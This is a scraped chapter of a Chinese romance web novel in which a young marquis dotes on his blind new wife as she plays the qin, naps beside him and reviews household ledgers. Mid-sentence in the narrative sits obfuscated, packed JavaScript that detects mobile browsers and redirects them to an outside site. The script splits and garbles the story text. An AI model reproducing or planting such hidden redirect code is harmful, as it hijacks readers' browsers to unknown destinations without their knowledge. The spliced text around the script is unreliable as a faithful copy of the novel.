听到了它们的动静,程素不由得松开了卫琅的手,蹲下身来伸出手安抚它们,其中一只脑袋一歪直接倒躺在程素的脚边,另一只则把下巴凑到她手边,蹭了又蹭,喉咙里发出了舒服的呜咽声。 卫琅没好气道:“去去去,一边儿去,谁把它们带到这里来的。” 程素抱起其中一只,解释道:“它们之前一直养在我院子里,这次也一并带来了。许是换了新地方,它们有些认生。” 卫琅毫不掩饰地瞪着她怀里那只幼犬,嘴上道:“本来是送给你看门的,怎么还放到你院子里养了。” 程素莞尔一笑:“既是看门护院,自然要放在院子里养了。” 她话里没别的意思,卫琅却想起自己夜里翻墙那回,顿时老脸一红:“……咳咳,既然你喜欢,那就算了。” 他不由分说地用眼神示意丫鬟赶紧把这两只不要脸的小狗抱走,这才又拉起了程素的手,往院子里走去。 抱筠居正如其名,院落清寂,周边遍植翠竹,胜在清幽雅致。 卫琅却嫌这景色单调,让人在院子里打了一架秋千,又搬来不少奇花异草,廊下摆了数十盆金桂,香气袭人。 他都盘算过了,程素眼睛不好,平日里许多东西都看不见,多闻闻花香指不定心情能好些。等到了冬天,再让人都换成腊梅、水仙之流,时常变换花样,这样也能让这院子多几分热闹。 卫琅正打算拉着程素去试试角落里那架秋千,门口突然传来一阵喧哗声。 抬头一看,原来是李嬷嬷带着人抬了几口大箱子进了院子,再一问才知,箱子里装的是侯府往年的账簿和库房造册。 侯府家大业大,刚刚老夫人亲自交到程素手里的那个小匣子,不过是其中一小部分。若以后程素真要执掌中馈,少不了要把上上下下许多事盘个清楚。 卫琅见这阵仗,知道祖母是铁了心以后要把这些事交到程素手中了,却还是皱了皱眉:“怎么这么急?” 李嬷嬷恭敬道:“老夫人说了,夫人进门第一日,有些规矩早早立起来为好,也好让底下的人都知道。” 她指挥着众人将箱子抬进了院子东面的小书房,临走前还不忘打趣卫琅他们:“老夫人都交待过了,这几日早晚都不必再去陪她吃饭了。侯爷和少夫人新婚燕尔,理应多多相处才是。” 她们走后,就连丫鬟们也很快都识趣地退下了,书房里只留下他们二人。 屋里静悄悄的没有人说话,只有两人的呼吸声。卫琅望向身旁近在咫尺的人,喉结下意识动了动。 新婚燕尔,理应多多相处。 那么,新婚夫妇该干点什么呢? 11. 第十一章 程素并不知道身旁的卫琅正在想什么,不过丫鬟们一走,书房里陡然安静下来,气氛未免有些尴尬。 她想了想,主动道:“侯爷,可否让丫鬟们帮我把琴取来。若是不嫌弃的话,听我弹奏一曲可好。” 卫琅下意识想问她的眼睛,但听程素的语气如此笃定,便又把话咽了回去,连忙让丫鬟把琴取了来。 程素端坐在琴案前,信手试了几下音,问他想听什么。不学无术的卫小侯爷自是心虚,他这会儿连个曲名也想不出来,只道随她弹什么都好。 很快,琴声在书房内响起。 她随手弹了一曲《风入松》,琴声淙淙如流水,舒缓悠扬,给人一种山风吹拂、涤荡人心的清静平和之感。 卫琅一边听着曲子,一边目不转睛地盯着人看,从程素拨弄琴弦的纤长十指,到她腕间衣袖垂下的褶皱弧度,她线条优美的下颌、微垂的眼睫,乃至额发间的绒毛,每一寸、每一处都看得清清楚楚。 若是程素能看见,定会察觉出自己快要被他的灼灼目光给烤熟了。 但她暂时还看不见,他索性就肆无忌惮地盯着她看,左看右看,上看下看,只觉得自己怎么看也看不够。 卫琅此时才有些后悔,当年陛下教他画画时,他没上心学,要不让这会儿就能大笔一挥把弹琴的素素画下来。 回头就让齐文羽那些人瞧瞧,这京城有哪家闺秀能像素素这么厉害,能把琴弹得这么好,长得也这么好,整个人从头到脚没有一点不好的地方。 恰巧一曲终了,程素正欲开口,对面却爆发出一阵响亮的掌声与喝彩声。 “好!弹得好!” 卫琅大力鼓掌:“此曲只应天上有,人间能得几回闻!素素,你弹得真是太好了!我从来没听过这么好听的曲子!” 程素:“……” 她险些被卫琅的反应吓了一跳,脸上一热,竟生出几分茫然和窘迫感。 她自幼学琴,也曾受过人夸赞,知道自己大约学得还算不错。但昔日听过她弹琴的人,除了家人外,也不过寥寥,从未有过反应这么强烈的。 明明她弹的只是一首清宁安神的曲子啊,也值得这样喝彩吗? 程素茫然了一瞬,很快反应过来,客气道:“侯爷谬赞了。” 卫琅不满道:“怎么能说是谬赞呢,难道你在怀疑我的品味?” 程素:“……我没有这个意思。罢了,既然侯爷喜欢,我继续弹下去吧。” 她又弹了一曲《山居吟》,弹完之后,仍然是卫琅毫不吝啬的掌声和令人坐立难安的夸赞。 程素不为所动,仍心平气和地弹了下去,一曲接着一曲,每一支都格外悠缓舒长、淡泊宁静,让人听了越发心平气和。 卫琅确实也慢慢静下来了。 他听着听着,只觉眼皮逐渐沉重,听琴的姿势也变成了支着下巴,没一会儿就闭上了眼,头一下一下地往前点着。 程素虽目不能视,不过等她这一曲弹完后,屋里却再也没响起卫琅的掌声,反而满室沉寂,便心下了然。 昨天夜里这位小侯爷只怕没怎么睡好,再听她弹的这些曲子,难免会犯困。 也难为他还能坚持这么长时间了。 她没有出声喊他,起身摸索着,小心地一点点绕过琴案和屋里其他家具,来到屋外让丫鬟们叫来了木通等随从,把卫琅搬到书房窗下的一张木榻上休息。 卫琅个高腿长,本就不是轻易能搬动的,何况还要在不惊醒他的前提下。才刚把人架起来,原本睡着的人就感觉出有人在扒拉自己,不满地嘟囔了几声。 睡梦中的卫琅意识到不对,眼睑微动,正要睁开眼,却听程素轻声道:“动作轻些,别把侯爷惊醒了。” 他一个激灵,瞬间想起了前因后果。他居然听弹琴听到睡着了! 完了,这下他可没脸面对素素了。 哪有前脚把人吹得天花乱坠,后面自己就一头睡了过去的,这不是自打脸吗。 卫琅闭着眼,任凭木通他们搬动着他的身子,心里快速想着对策。 那木榻就在书房角落里,没几步就到了,众人眼看要把人挪到地方了,他突然计上心来,装作迷糊道:“素素呢?” 屋内瞬间静了下来,随后是程素道:“侯爷,我在这里。” 卫琅不说话,闭着眼在空气里乱抓几下,就听程素叹了口气,握住了他乱动的手,轻声哄道:“侯爷,秋日天气寒凉,我们移步到榻上去休息可好。” 卫琅不说话了。 程素只当他又睡过去了,听着众人将他安置在榻上,正打算抽手离去,却突然一个重心不稳,整个人被猛地一拉,跌进了卫琅怀里,一时进退不得,挣扎了几下也不见对方放开,脸上渐渐烫了起来。 屋内霎时变得格外安静,虽然看不见众人此时的神情,可程素也能想象出来。 她强迫自己定了定心神,对其他人道:“好了,你们都下去吧。” 木通和丫鬟们忙不迭地退下,还不忘为他们带上了门。 等人都走光了,程素又轻轻挣扎了一下,发现还是推不动身上那只胳膊,便睁着眼望向头顶,心里有些气闷。 她自从看不见之后,平添了许多烦恼,但也鲜少有像此刻这样,很想扭头看清楚身边人脸上此时是什么神情。 是在旁边闭着眼装睡,还是在睁着一双眼好整以暇地看她的笑话。 但出乎她意料的是,她浑身僵硬地等了好一会儿,卫琅也并没有毛手毛脚,只是安安分分地抱着她,脸靠在她的肩侧,仿佛她是个柔软的大号枕头。 程素不知不觉松了口气。 其实……就算卫琅真的想做什么,他们已经成亲了,她也不好说什么。只是他这样装傻作弄人,实在不是君子所为。 她自己一个人生了会儿闷气,又等了一会儿,也不见身旁人有动静,心头那股气也就慢慢散了,正想轻手轻脚爬起来,身旁的人忽然翻了个身,让她的心跳也乱了一拍。 好在卫琅只是调整了姿势,改成他一只手搂着程素入睡,让她枕在他肩上。这样一来,程素便彻底陷入他怀里了。 她挣扎了几下,发现自己还是被禁锢着无法脱身,既不好叫破身旁人是在装睡,也不好起身硬要挣脱。 既来之则安之。 程素只好如是在心里劝着自己,索性也闭上了眼。 起初她只是闭眼休憩,等卫琅什么时候装够了醒来,再好好与他讲道理,然而就这靠着身旁的人,她竟然不知不觉中慢慢安然地睡着了。 察觉到怀里的人慢慢放松下来,清浅的呼吸声也逐渐变得绵长,卫琅总算睁开了眼,美滋滋地把怀里的人看了又看,又低头嗅了嗅程素鬓发间的香气,这才抱着人心满意足地也睡了过去。 …… 卫琅这一觉睡得很长很安心。 等他一觉醒来时,天已近傍晚。 他还模模糊糊记得他抱着程素一起睡着的,忍不住收紧了胳膊,怀里柔软的触感让他嘴角的笑意僵在脸上。 ……怎么感觉好像不太对? 他猛地一睁眼,发现他身上还盖着被子,怀里的人却没了踪影,取而代之的一个柔软的长条引枕。 不用说,素素又在他睡着的时候跑了。 卫琅很是郁闷。 且不说程素目不能视、行动不便,难道他睡着了以后真的像头死猪,怎么一个大活人三番两次从他身边离开,他怎么睡到一点知觉都没有? 好在人就在家里也跑不了,他一骨碌爬起来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999097|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门找人:“夫人呢?” “在小书房里。” 卫琅找了过去,还没到门口,就听到里面程素身旁那个叫白芷的丫鬟念东西的声音,听起来像是念账簿? 他也没多想,挥手制止了门口要通传的丫鬟们,轻手轻脚地进了屋,果然看见程素坐在桌后,旁边的白芷手持账簿,正在一一对着条目为她念着上面的数字。 卫琅同样一挥手,示意白芷继续念下去,准备蹑手蹑脚绕到程素身后。 不料她却有所察觉,突然出声问:“可是侯爷醒了?” 被戳穿的卫琅也不觉尴尬,快步走到她身旁,讨好道:“你怎么知道我来了?我刚刚还想给你个惊喜呢。” 程素道:“白芷突然停顿了一下,又听到了侯爷的脚步声。” 卫琅张口就要夸她心细如发、听力也敏锐,却听她解释道:“瞎子总会对这些细节更敏感些。” 卫小侯爷:“……” 他真该死啊。 他缩了缩脖子,连忙转移了话题:“你在忙什么呢?听这账本有什么意思,你若是闷了,回头我找个戏班子,每天你想听什么,就让他们演什么。” 程素只是摇摇头,便让白芷把堆在桌上的那些账册收了起来。 卫琅看着那些账册,又想起之前在松芝堂看到的那一幕,等丫鬟们都退下后对程素道:“这些事你别操心了,一切有老夫人,其他的等你的眼治好了再说。” 程素微微抬起脸,目光寻找着卫琅所在的方向,认真道:“可若是这双眼一时半会儿治不好,我也不能整天无所事事,什么都不做。我虽看不见,但能心算、记性也不算差,不是什么都做不了。” 她的语气诚恳,却听得卫琅险些没一口咬掉自己的舌头。 他连忙道:“素素,我不是那个意思啊,我绝对没有嫌弃你的意思……” 听他的语气有些慌乱,程素主动道:“我初来乍到,对府里的人和事还不熟悉,可否劳烦侯爷给我讲讲。” 卫琅挠挠头,不觉得府里的情况有什么好讲的,毕竟侯府的底细不说京城人尽皆知,也至少有所耳闻。 但既然程素要听,他这会儿心里有愧,还是老老实实地倒了个干净。 卫家人口简单,老夫人与已故的老侯爷鹣鲽情深,后院没有别家那些莺莺燕燕,膝下四子皆为她所出。 早些年北方突厥作乱,老侯爷和卫琅的父亲叔叔们先后都上了战场,又相继战死。老夫人先是丧夫,又接连丧子,唯一活下来的只有二儿子,可谓满门忠烈。 唯一一个活下来的儿子,也就是卫琅的二叔、卫珏的父亲,常年驻守边关,也已经数年没有回过京城了。 老夫人不忍他们夫妻长久分离,待卫珏稍能记事后,便让二夫人去了边关,前几年他们又添了一双儿女陪在身边,一家人和乐融融,也让老夫人放下一桩心事。 只可怜了卫珏,父母弟妹远在边关,却只能从书信中了解家人的近况。 更可怜的还有三房的堂妹卫若。 她出生没多久后,三叔便战死沙场,三婶常年郁郁不乐,后来竟几次三番想带着年幼的卫若寻死。 事后卫若虽活了下来,却因此受了刺激,一句话也不肯说。这些年来老夫人延请名医,为她调养身体,卫若总算慢慢能说话了,但至今仍不敢出门见人。 这些事程素早有耳闻,但从卫琅口中说来,让人听了不免心中愀然。 旁人只道侯府钟鸣鼎食,却不知这份煊赫下的累累血泪,男丁们战死沙场,女眷们也各有各的不幸。 卫琅边说边看程素,只见她低头不知在想着什么,终于后知后觉出不对劲。 糟了!他不会把家里的情况说得太惨,让素素听了后悔嫁进来了吧!